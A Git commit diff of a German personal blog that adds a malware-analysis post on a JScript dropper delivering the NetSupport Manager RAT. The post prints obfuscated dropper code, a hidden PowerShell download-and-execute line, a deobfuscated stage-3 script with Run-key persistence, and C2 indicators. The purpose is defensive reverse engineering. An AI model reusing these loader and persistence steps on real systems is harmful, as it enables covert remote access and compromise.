added updates to two blog entries

gin
Johannes Bülow 2023-05-18 11:53:30 +02:00
parent c72159f148
commit a9350051c4
Signed by untrusted user who does not match committer: jmb
GPG Key ID: B56971CF7B8F83A6
5 changed files with 147 additions and 2 deletions

View File

@ -13,7 +13,7 @@ nopub: hugo container
podman run --rm -p8080:80 docker.io/jmbitci/www-jmbit-de
rollout:
kubectl rollout restart deployment www-jmbit-de -n jmbit-web
kubectl --context=jmbit-prod rollout restart deployment www-jmbit-de -n jmbit-web
clean:
rm -rf public

View File

@ -5,7 +5,9 @@ author: Johannes Bülow
draft: false
---
## UPDATE: Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt!
| UPDATE |
|----------------------------------------------------------------------------------------|
|Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt! |
ESXiArgs ist eine vermutlich neue Ransomware-Familie, die ESXi-Server angreift und darauf laufende VMs (teilweise)
verschlüsselt. Der wahrscheinlichste Angriffsvektor ist derzeit

View File

@ -0,0 +1,126 @@
---
title: "JScript delivered RAT"
date: 2023-04-28
draft: false
---
# *DISCLAIMER*
**Das Herunterladen und ausführen von Malware, auch zum Zwecke der Analyse, ist gefährlich. Ich übernehme
keinerlei Haftung für etwaige Schäden bei Nachahmung!**
| UPDATE |
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Neuere Varianten dieser Malware verteilen nicht direkt die jscript-Datei, sondern eine HTML-Datei, die im Javascript erst eine Zip mit dieser JScript-Datei baut! |
## Einführung
In diesem Blogeintrag möchte ich einen kleinen Einblick in die Analyse bzw. das reverse-eingineering von Malware geben.
Hier anhand einer Beispielmalware, die über Mehrere Stufen letztendlich "NetSupport Manager" als Remote Access Tool
(RAT) installiert.
Auf den ersten Blick scheint die Datei vergleichsweise harmlos, insbesondere wenn man z.B. in Windows nicht aktiviert
hat, dass der Dateiname vollständig (inkl. Endung) angezeigt wird.
![Screenshot der Dateivorschau](/img/blog/Screenshot_from_2023-04_28-08-50-24.png)
Sollte ein Windows-User die Datei zum öffnen Doppelklicken, wird sie, statt wie zu erwarten im konfigurierten PDF-Viewer
angezeigt zu werden, vom [Windows Script Host](https://de.wikipedia.org/wiki/Windows_Script_Host) mithilfe dessen
JScript-Engine ausgeführt.
## Stage 1
Die initial heruntergeladene Datei ist sehr stark [Obfuscated](https://de.wikipedia.org/wiki/Obfuskation), was das
Reverse engineering deutlich erschwert. Ein relativ einfacher Trick ist hier jedoch, die eigentlichen Aufrufe, die die
nächste Stage herunterladen wollen, so umzubauen, dass sie statt dem eigentlichen Aufruf jediglich den entsprechenden
Code ausgeben:
```js
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
FNwMBmgDjPdaInUxO[V1(0x39, 'bmzj')](V3(0x85, 'KWPY')) == ![] && CkMPuJXlbEaniIF[V3(0xac, 'ClZu')](PoHdrRpqKNwXVGyEDMO, V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
```
_Hier erstellt die Malware ein ActiveXObjekt mit der nächsten Stufe und führt diese aus._
```js
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
console.log(FNwMBmgDjPdaInUxO + V1(0x39, 'bmzj') + V3(0x85, 'KWPY')) ;
console.log(CkMPuJXlbEaniIF + V3(0xac, 'ClZu') )
console.log(PoHdrRpqKNwXVGyEDMO + V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
```
_Der gleiche Teil des Codes, aber entschärft und mit print-Statements. Das "ActiveXObject" ist jetzt eine einfache
Klasse mit String dahinter._
Wenn man diesen Code dann mithilfe von NodeJS ausführt, erhält man den folgenden Output:
```
remnux@remnux:~/Analysis/nitrogen-diet-florida-monkey$ node nitrogen-diet-florida-monkey.js
ShElL.APPlIcatioN
scriptIng.fIlesysTemobjeCt
[object Object]FolderExistsC:\userss
[object Object]ShellExecute
cmd/C POwerShElL -nop -w hidden -ep bypass -enc <BASE64String> oPen 0
```
der Base64 kodierte String enthält diesen Powershellbefehl, der die nächste Stufe der Malware herunterlädt.
```powershell
IEX (New-Object Net.Webclient).downloadstring("<STAGE3URL>")
```
## Stage 3
Stufe 3 der Malware ist ein Powershell-Skript, das auch wieder obfuskiert ist, z.B. durch seltsame Groß/Kleinschreibung,
String-Formatierung und großzügig verteilten \`, die in Powershell als Escape verwendet werden (im Gegensatz zu den
meisten anderen Sprachen, die \\ verwenden). Zudem wurde der gesamte Code in eine Zeile geschrieben.
```powershell
{rn`UM}=&("{2}{0}{1}"-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&("{3}{2}{0}{1}"-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=("{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.("{0}{1}{2}{3}" -f'New-O','bje','c','t') ("{1}{0}{3}{2}"-f 'm.Ra','Syste','m','ndo');
```
_Ausschnitt aus dem Originalcode_
```powershell
#!/usr/bin/env pwsh
&('cd') ${ENV:appdata}
${link} = "https://<payloadurl>/wp-content/plugins/giveme.php"
${rnum} = 5
${rrnum} = 1337
${chrs} = "abcdefghijklmnopstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ"
${rstr} = ''
${ran} = .(New-Object System.Random)
for (${i} = 0
${i} -lt ${r`NuM}
${I}++) { ${rstr} += ${chrs}[${ran}.next.Invoke(0, ${chrs}."length")] }
${rzip} = ${rstr} + ".zip"
${path} = ${ENV:`APPDATA} + '\' + ${rzip}
${pzip} = ${ENV: APPDATA} + "\ONEN0TEupdate_"
write-host (Start-Bitstransfer) -Source ${link} -Destination ${path}
&(Expand-Archive -path ${path} -destinationpath ${pzip})
${fold} = &(Get-Item) ${pzip} -Force
${fold}.Attributes = Hidden
&(Remove-Item) -path ${path}
&('cd') ${pzip}
Write-Output Start client32.exe
${fstr} = ${ENV:appdata} + ".\ONEN0TEupdate_1337\client32.exe"
${rnm} = ONEN0TEupdate_1337
Write-Output New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ONEN0TEupdate_1337 -Value ${fstr} -PropertyType String
```
_Stage3, aufgeräumt und vereinfacht_
Stufe 3 ist die Stufe, die letztendlich die eigentliche Payload herunterlädt. sowie einen Autostart-Registrykey
erstellt.
Bei der Payload handelt es sich um eine vorkonfigurierte Version von NetSupport Manager, die sich mit dem C2-Server
verbindet.
## IOCs
### C2-Server
* blahadfurtik.com:5222 (IP: 89.22.237.94 )
### Lokal/Filesystem
* Ordner mit dem Namen "ONEN0TEupdate\_XXXX" in `C:/Users/<USER>/AppData/Roaming/`
* Registry-Key unter `HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` mit dem gleichen Namen wie der Ordner in
Appdata und zu client32.exe in diesem zeigend
-----------
Verwendetes Sample: SHA256:00d87e984f0fcd2e8fb55e4b83d86027dac67fd073958a95cbc98961ab940f4b
Quelle: bazaar.abuse.ch

View File

@ -0,0 +1,17 @@
---
title: "Netxcloud"
date: 2023-05-01T18:06:16+02:00
draft: true
---
Nextcloud ist vor allem bekannt dafür, als Alternative zu SAAS-Produkten wie Dropbox, Google Drive,
Onedrive und Co. zu dienen. Allerdings gibt es mittlerweile einige Features mehr als nur reines Filesharing. Nextcloud
kann mit Nextcloud Hub auch zu einer vollwertigen Collaboraition-Suite verwandelt werden. Hier wird das
Filesharing/Management um Chat, Video- und Audiokonferenzen, Email-Client, Kalender, Office, Kontaktverwaltung,
Taskmanagement und mehr erweitert
werden. Zusätzlich gibt es viele zusätzliche Apps, mit denen Nextcloud erweitert werden kann.
<!-- vim: set wrap linebreak textwidth=120 cc=120 : -->

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB